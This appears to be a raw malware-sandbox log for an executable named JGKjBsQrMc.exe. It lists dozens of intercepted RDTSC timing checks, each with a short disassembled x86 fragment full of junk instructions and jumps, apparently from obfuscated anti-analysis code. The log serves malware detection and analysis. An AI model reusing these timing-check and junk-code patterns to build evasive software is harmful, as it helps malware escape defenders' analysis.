Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0120 second address: 4BD017A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE1C0EF51F1h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FE1C0EF51EEh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE1C0EF51F7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD017A second address: 4BD0180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0180 second address: 4BD01ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pushfd 0x0000000f jmp 00007FE1C0EF51F2h 0x00000014 sbb cl, 00000018h 0x00000017 jmp 00007FE1C0EF51EBh 0x0000001c popfd 0x0000001d pop eax 0x0000001e jmp 00007FE1C0EF51F9h 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007FE1C0EF51F3h 0x0000002d mov cx, 059Fh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD01ED second address: 4BD021C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c jmp 00007FE1C0B69E3Eh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD021C second address: 4BD025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, esi 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007FE1C0EF51F6h 0x0000000d sub eax, 0F99EA98h 0x00000013 jmp 00007FE1C0EF51EBh 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE1C0EF51EBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD025D second address: 4BD0263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0263 second address: 4BD028D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F2h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE1C0EF51EDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD028D second address: 4BD0293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0293 second address: 4BD02A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD02A2 second address: 4BD035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dh 0x00000006 popad 0x00000007 push ecx 0x00000008 mov bh, DCh 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E3Eh 0x00000012 mov dword ptr [esp], edi 0x00000015 pushad 0x00000016 mov esi, 73564E3Dh 0x0000001b mov ecx, 5B5E9139h 0x00000020 popad 0x00000021 test esi, esi 0x00000023 jmp 00007FE1C0B69E44h 0x00000028 je 00007FE233728169h 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FE1C0B69E3Eh 0x00000035 and si, 1E78h 0x0000003a jmp 00007FE1C0B69E3Bh 0x0000003f popfd 0x00000040 push ecx 0x00000041 pushfd 0x00000042 jmp 00007FE1C0B69E3Fh 0x00000047 adc ch, 0000003Eh 0x0000004a jmp 00007FE1C0B69E49h 0x0000004f popfd 0x00000050 pop ecx 0x00000051 popad 0x00000052 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov dx, ax 0x0000005f call 00007FE1C0B69E44h 0x00000064 pop eax 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD035C second address: 4BD03BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 71h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FE233AB34ABh 0x00000010 jmp 00007FE1C0EF51EFh 0x00000015 mov edx, dword ptr [esi+44h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop ecx 0x0000001d pushfd 0x0000001e jmp 00007FE1C0EF51F7h 0x00000023 adc ax, 6B0Eh 0x00000028 jmp 00007FE1C0EF51F9h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03BB second address: 4BD03C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, CC22h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03C4 second address: 4BD03D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or edx, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03D4 second address: 4BD03D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03D8 second address: 4BD03DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03DE second address: 4BD03E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD03E4 second address: 4BD0413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE1C0EF51EAh 0x00000017 or cl, FFFFFFE8h 0x0000001a jmp 00007FE1C0EF51EBh 0x0000001f popfd 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0413 second address: 4BD0419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0419 second address: 4BD0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FE233AB344Dh 0x0000000e jmp 00007FE1C0EF51F8h 0x00000013 test byte ptr [esi+48h], 00000001h 0x00000017 jmp 00007FE1C0EF51F0h 0x0000001c jne 00007FE233AB3434h 0x00000022 pushad 0x00000023 mov eax, 606346FDh 0x00000028 movzx esi, di 0x0000002b popad 0x0000002c test bl, 00000007h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov dl, al 0x00000034 call 00007FE1C0EF51F3h 0x00000039 pop ecx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC077F second address: 4BC0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0783 second address: 4BC0787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0787 second address: 4BC078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC078D second address: 4BC0793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0793 second address: 4BC07C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, si 0x0000000f pushfd 0x00000010 jmp 00007FE1C0B69E3Eh 0x00000015 add ax, 33D8h 0x0000001a jmp 00007FE1C0B69E3Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC07C3 second address: 4BC07E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC07E6 second address: 4BC07EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, AC6Fh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC07EF second address: 4BC086A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51EBh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ah, 0Bh 0x0000000f pushfd 0x00000010 jmp 00007FE1C0EF51EDh 0x00000015 adc eax, 4A8A4786h 0x0000001b jmp 00007FE1C0EF51F1h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE1C0EF51F3h 0x0000002d adc esi, 187846BEh 0x00000033 jmp 00007FE1C0EF51F9h 0x00000038 popfd 0x00000039 mov eax, 21DA4407h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC086A second address: 4BC0870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0870 second address: 4BC088E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC088E second address: 4BC08A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC08A9 second address: 4BC08E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51EFh 0x00000009 jmp 00007FE1C0EF51F3h 0x0000000e popfd 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE1C0EF51EAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC08E6 second address: 4BC08EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC08EA second address: 4BC095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FE1C0EF51F7h 0x0000000f sbb cl, FFFFFF9Eh 0x00000012 jmp 00007FE1C0EF51F9h 0x00000017 popfd 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE1C0EF51EEh 0x0000001f xor al, FFFFFF98h 0x00000022 jmp 00007FE1C0EF51EBh 0x00000027 popfd 0x00000028 mov bh, ah 0x0000002a popad 0x0000002b popad 0x0000002c xchg eax, ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE1C0EF51EEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC095C second address: 4BC0983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C0B69E45h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0983 second address: 4BC0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0989 second address: 4BC098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC098D second address: 4BC099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC099C second address: 4BC09A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC09A2 second address: 4BC09FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F8h 0x00000008 push esi 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e jmp 00007FE1C0EF51ECh 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FE1C0EF51EEh 0x0000001d and cx, B448h 0x00000022 jmp 00007FE1C0EF51EBh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a mov esi, 225961D5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC09FA second address: 4BC0A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, 00000000h 0x0000000a jmp 00007FE1C0B69E3Ch 0x0000000f test esi, esi 0x00000011 jmp 00007FE1C0B69E40h 0x00000016 je 00007FE23372F7A2h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop esi 0x00000021 mov ebx, 1E3E771Ch 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0A33 second address: 4BC0A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51F0h 0x00000009 xor esi, 37CDA438h 0x0000000f jmp 00007FE1C0EF51EBh 0x00000014 popfd 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 jmp 00007FE1C0EF51F2h 0x00000027 mov ecx, esi 0x00000029 pushad 0x0000002a mov cl, 21h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0A81 second address: 4BC0A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0A85 second address: 4BC0ACD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FE233ABAAFDh 0x0000000d jmp 00007FE1C0EF51F1h 0x00000012 test byte ptr [77816968h], 00000002h 0x00000019 pushad 0x0000001a mov dx, ax 0x0000001d mov esi, 00E17E2Fh 0x00000022 popad 0x00000023 jne 00007FE233ABAAE8h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FE1C0EF51F1h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0ACD second address: 4BC0B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov esi, 529A57A3h 0x00000012 mov bl, cl 0x00000014 popad 0x00000015 push ebp 0x00000016 pushad 0x00000017 mov esi, 2424BBCDh 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f mov dword ptr [esp], ebx 0x00000022 pushad 0x00000023 push esi 0x00000024 mov ax, dx 0x00000027 pop edx 0x00000028 mov esi, 69FBB539h 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 jmp 00007FE1C0B69E42h 0x00000035 mov ecx, 473B39E1h 0x0000003a popad 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FE1C0B69E3Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0B2E second address: 4BC0B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007FE1C0EF51EDh 0x0000000c sbb ax, DC66h 0x00000011 jmp 00007FE1C0EF51F1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE1C0EF51EDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0B6C second address: 4BC0BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE1C0B69E3Ch 0x00000013 and ch, 00000068h 0x00000016 jmp 00007FE1C0B69E3Bh 0x0000001b popfd 0x0000001c mov ax, BC5Fh 0x00000020 popad 0x00000021 push dword ptr [ebp+10h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0BAF second address: 4BC0BB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0C0D second address: 4BC0C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0C11 second address: 4BC0C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0C2C second address: 4BC0C6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushfd 0x0000000b jmp 00007FE1C0B69E43h 0x00000010 add ecx, 0947A72Eh 0x00000016 jmp 00007FE1C0B69E49h 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BC0C6A second address: 4BC0CEA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51F0h 0x00000008 sbb cx, 9CA8h 0x0000000d jmp 00007FE1C0EF51EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FE1C0EF51F8h 0x0000001b jmp 00007FE1C0EF51F5h 0x00000020 popfd 0x00000021 popad 0x00000022 mov esp, ebp 0x00000024 jmp 00007FE1C0EF51EEh 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FE1C0EF51F7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0B5F second address: 4BD0BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0B69E3Fh 0x00000008 pushfd 0x00000009 jmp 00007FE1C0B69E48h 0x0000000e xor ax, DAA8h 0x00000013 jmp 00007FE1C0B69E3Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e jmp 00007FE1C0B69E42h 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FE1C0B69E47h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C50720 second address: 4C50756 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE1C0EF51F0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE1C0EF51EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C50756 second address: 4C5079D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE1C0B69E41h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FE1C0B69E41h 0x0000000f xor ah, 00000036h 0x00000012 jmp 00007FE1C0B69E41h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movzx ecx, bx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C4083E second address: 4C40883 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51F2h 0x00000008 xor ax, 5EC8h 0x0000000d jmp 00007FE1C0EF51EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FE1C0EF51EFh 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40883 second address: 4C40887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40887 second address: 4C4088B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C4088B second address: 4C40891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40891 second address: 4C40897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C40897 second address: 4C4089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C4089B second address: 4C4089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE01C6 second address: 4BE01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE01D8 second address: 4BE020C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE1C0EF51EEh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov esi, 2089ED8Dh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bl, cl 0x0000001d jmp 00007FE1C0EF51EDh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE020C second address: 4BE0212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0212 second address: 4BE0216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
